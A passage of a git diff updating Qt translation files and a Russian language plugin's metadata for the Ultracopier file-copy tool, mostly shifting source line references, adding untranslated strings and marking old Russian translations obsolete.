- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/ru/flag.png b/plugins/Languages/ru/flag.png
index c2c9d27..583e627 100644
--- a/plugins/Languages/ru/flag.png
+++ b/plugins/Languages/ru/flag.png
Binary files differ
diff --git a/plugins/Languages/ru/informations.xml b/plugins/Languages/ru/informations.xml
index dcb4482..6a8fb5b 100644
--- a/plugins/Languages/ru/informations.xml
+++ b/plugins/Languages/ru/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to russian. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to russian. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>ru</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/ru/translation.ts b/plugins/Languages/ru/translation.ts
index 6255b83..a8f30f0 100644
--- a/plugins/Languages/ru/translation.ts
+++ b/plugins/Languages/ru/translation.ts
@@ -4,77 +4,99 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation>Предупреждение</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation>Ultracopier уже запущен, щелкните правой кнопкой мыши на значок панели задач (рядом с часами), чтобы использовать его</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Problem at the reading, or file size is null</source>
- <translation>Проблема при чтении или размер файла нулевой</translation>
+ <translation type="obsolete">Проблема при чтении или размер файла нулевой</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
<source>This file is not supported transfer list</source>
<translation>Этот файл не поддерживается передача списка</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
<source>Unable to open the transfer list file</source>
<translation>Не удается открыть файл трансфер</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
<source>The arguments possibles are:</source>
- <translation>Аргументы possibles являются:</translation>
- </message>
- <message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
- <translation>Для того, чтобы эта помощь</translation>
+ <translation type="obsolete">Аргументы possibles являются:</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
<location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
- <translation>Для выхода из другой запущенный экземпляр (если есть)</translation>
- </message>
- <message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
- <translation>Чтобы передать трансфер делать</translation>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
<location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
- <translation>Чтобы скопировать источников, разделенных пробелами до места назначения. Если назначение &quot;?&quot;, Ultracopier попросит его пользователю</translation>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
<location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
- <translation>То же самое, но с переездом</translation>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation type="unfinished">Откройте трансфер</translation>
+ </message>
+ <message>
+ <source>To quit the other instance running (if have)</source>
+ <translation type="obsolete">Для выхода из другой запущенный экземпляр (если есть)</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
<source>Command line not understand</source>
- <translation>Командная строка не понимаю</translation>
+ <translation type="obsolete">Командная строка не понимаю</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation>Помогите</translation>
</message>
@@ -82,329 +104,402 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation>Предупреждение</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Cannot find any copy engine with motions support</source>
- <translation>Не могу найти копию двигателя движения поддержки</translation>
+ <translation type="obsolete">Не могу найти копию двигателя движения поддержки</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
<source>Cannot find any compatible engine!</source>
<translation>Не могу найти любой совместимый двигатель!</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
<source>This copy engine does not support motions</source>
- <translation>Эта копия двигателя не поддерживает движение</translation>
+ <translation type="obsolete">Эта копия двигателя не поддерживает движение</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation>Не могу найти любой двигатель с таким именем: %1</translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished">ошибка</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation>ошибка</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation>Не удалось получить экземпляр копии двигателей</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>The argument for the mode is not understand</source>
- <translation>Аргументом в пользу этого режима не понимаю</translation>
+ <translation type="obsolete">Аргументом в пользу этого режима не понимаю</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation>Не удалось загрузить интерфейс, копирование прервана</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation>Не удается загрузить копию двигателя, скопируйте прервана</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation>режим передачи</translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
- <translation>Вы хотите делать то, что копия? Иначе, если вы ответите нет, он будет перемещен.</translation>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
+ <translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation>Копировать двигатель</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation>копия</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation>двигаться</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation>пауза</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation>резюме</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation>пропускать</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation>неограниченный</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation>Слишком большой</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation>Менее %10 секунд</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation>О %10 секунды осталось</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation>О %1 минуты до конца</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation>О %1 часов, оставшихся</translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation>источник</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation>размер</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation>назначение</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation>выход</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation>цель</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation>Оставшееся время:</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation>список</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation>копирование</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation>Листинг и копирования</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation>просить</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation>переписывать</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation>Заменить, если новее</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation>Заменить, если последняя даты модификации отличаются</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation>переименовать</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Put to end of the list</source>
- <translation>Положить в конец списка</translation>
+ <translation type="obsolete">Положить в конец списка</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation>Выберите исходный каталог</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation>Выберите папку назначения</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation>Внутренняя ошибка</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation>Выберите один или более файлов, чтобы открыть</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation>Все файлы</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation>Сохранить трансфер</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation>Откройте трансфер</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation>Передача списка</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
